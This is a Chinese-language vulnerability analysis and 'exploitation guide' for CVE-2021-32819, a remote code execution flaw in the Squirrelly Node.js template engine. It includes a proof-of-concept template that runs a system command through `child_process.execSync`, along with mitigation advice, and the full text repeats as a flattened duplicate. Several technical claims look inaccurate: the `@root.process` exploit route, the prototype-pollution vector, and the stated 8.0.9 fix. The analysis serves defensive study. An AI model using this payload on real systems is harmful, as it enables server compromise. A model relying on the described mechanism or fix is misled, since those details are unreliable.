Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析
字数 1266 2025-08-09 17:09:31

Node.js Squirrelly 模板引擎 RCE (CVE-2021-32819) 漏洞分析与利用指南

1. 漏洞概述

Squirrelly 是一个用 JavaScript 编写的轻量级模板引擎,用于 Node.js 和浏览器环境。CVE-2021-32819 是 Squirrelly 模板引擎中的一个严重远程代码执行(RCE)漏洞,影响版本 8.0.0 至 8.0.8。

2. 漏洞原理

2.1 模板引擎工作机制

Squirrelly 模板引擎允许开发者将动态数据注入到预定义的模板中。其基本语法使用双花括号 {{}} 作为分隔符。

2.2 漏洞根源

漏洞存在于 Squirrelly 的模板编译过程中,当模板中包含特定格式的 JavaScript 代码时,引擎会直接执行该代码而不进行适当的沙箱隔离或过滤。

2.3 关键问题点

  1. 动态代码执行:Squirrelly 使用 new Function() 动态生成函数来渲染模板
  2. 缺乏沙箱:生成的函数在全局上下文中执行,可以访问所有全局对象
  3. 用户输入未过滤:恶意模板可以包含任意 JavaScript 代码

3. 受影响版本

  • 8.0.0 至 8.0.8 版本
  • 修复版本:8.0.9 及以上

4. 漏洞复现

4.1 环境搭建

npm install squirrelly@8.0.8

4.2 漏洞利用代码

const Sqrl = require('squirrelly');

// 恶意模板
const maliciousTemplate = `{{@root.process.mainModule.require('child_process').execSync('id')}}`;

// 渲染模板 - 触发RCE
const result = Sqrl.render(maliciousTemplate, {});
console.log(result); // 将执行系统命令并输出结果

4.3 利用说明

  1. @root 提供对模板上下文的完全访问
  2. process.mainModule.require 允许加载任意 Node.js 模块
  3. child_process 模块可用于执行系统命令

5. 漏洞利用场景

  1. 用户提供的模板:应用程序允许用户提交自定义模板
  2. 动态模板渲染:应用程序使用用户可控数据渲染模板
  3. 模板存储与重用:存储的恶意模板被其他用户渲染

6. 防护措施

6.1 升级版本

npm install squirrelly@8.0.9

6.2 替代方案

  1. 使用沙箱:在受限环境中执行模板渲染
  2. 输入过滤:禁止模板中使用 @root 和 JavaScript 表达式
  3. 内容安全策略:限制可加载的模块和功能

6.3 代码加固示例

const Sqrl = require('squirrelly');

// 安全配置
Sqrl.defaultConfig.autoEscape = true;
Sqrl.defaultConfig.useWith = false; // 禁用with语句,限制作用域

// 自定义过滤器,限制可用功能
Sqrl.filters.define('safe', function(val) {
  return String(val).replace(/[&<>"'`=\/]/g, '');
});

7. 漏洞分析

7.1 技术细节

  1. 模板编译过程

    • 模板被解析为抽象语法树(AST)
    • AST 被转换为 JavaScript 函数字符串
    • 使用 new Function() 创建可执行函数
  2. 危险函数生成

    function compileTemplate(templateStr) {
      // 危险:直接拼接用户输入到函数体
      const fnStr = `function anonymous(${params}) {${compiledBody}}`;
      return new Function('return ' + fnStr)();
    }
    

7.2 攻击向量

  1. 原型链污染:通过 @root 访问对象原型
  2. 模块加载:通过 require() 加载危险模块
  3. 命令注入:通过 child_process 执行系统命令

8. 修复方案分析

Squirrelly 8.0.9 的修复措施包括:

  1. 移除 @root 访问器
  2. 限制模板中可访问的对象
  3. 改进沙箱实现,隔离全局对象

9. 总结

CVE-2021-32819 是一个典型的模板注入导致的远程代码执行漏洞,强调了在使用模板引擎时实施适当安全措施的重要性。开发者应当:

  1. 始终使用最新版本的依赖
  2. 避免直接渲染用户提供的模板
  3. 在沙箱环境中执行不可信代码
  4. 实施严格的输入验证和输出编码
Node.js Squirrelly 模板引擎 RCE (CVE-2021-32819) 漏洞分析与利用指南 1. 漏洞概述 Squirrelly 是一个用 JavaScript 编写的轻量级模板引擎,用于 Node.js 和浏览器环境。CVE-2021-32819 是 Squirrelly 模板引擎中的一个严重远程代码执行(RCE)漏洞,影响版本 8.0.0 至 8.0.8。 2. 漏洞原理 2.1 模板引擎工作机制 Squirrelly 模板引擎允许开发者将动态数据注入到预定义的模板中。其基本语法使用双花括号 {{}} 作为分隔符。 2.2 漏洞根源 漏洞存在于 Squirrelly 的模板编译过程中,当模板中包含特定格式的 JavaScript 代码时,引擎会直接执行该代码而不进行适当的沙箱隔离或过滤。 2.3 关键问题点 动态代码执行 :Squirrelly 使用 new Function() 动态生成函数来渲染模板 缺乏沙箱 :生成的函数在全局上下文中执行,可以访问所有全局对象 用户输入未过滤 :恶意模板可以包含任意 JavaScript 代码 3. 受影响版本 8.0.0 至 8.0.8 版本 修复版本:8.0.9 及以上 4. 漏洞复现 4.1 环境搭建 4.2 漏洞利用代码 4.3 利用说明 @root 提供对模板上下文的完全访问 process.mainModule.require 允许加载任意 Node.js 模块 child_process 模块可用于执行系统命令 5. 漏洞利用场景 用户提供的模板 :应用程序允许用户提交自定义模板 动态模板渲染 :应用程序使用用户可控数据渲染模板 模板存储与重用 :存储的恶意模板被其他用户渲染 6. 防护措施 6.1 升级版本 6.2 替代方案 使用沙箱 :在受限环境中执行模板渲染 输入过滤 :禁止模板中使用 @root 和 JavaScript 表达式 内容安全策略 :限制可加载的模块和功能 6.3 代码加固示例 7. 漏洞分析 7.1 技术细节 模板编译过程 : 模板被解析为抽象语法树(AST) AST 被转换为 JavaScript 函数字符串 使用 new Function() 创建可执行函数 危险函数生成 : 7.2 攻击向量 原型链污染 :通过 @root 访问对象原型 模块加载 :通过 require() 加载危险模块 命令注入 :通过 child_process 执行系统命令 8. 修复方案分析 Squirrelly 8.0.9 的修复措施包括: 移除 @root 访问器 限制模板中可访问的对象 改进沙箱实现,隔离全局对象 9. 总结 CVE-2021-32819 是一个典型的模板注入导致的远程代码执行漏洞,强调了在使用模板引擎时实施适当安全措施的重要性。开发者应当: 始终使用最新版本的依赖 避免直接渲染用户提供的模板 在沙箱环境中执行不可信代码 实施严格的输入验证和输出编码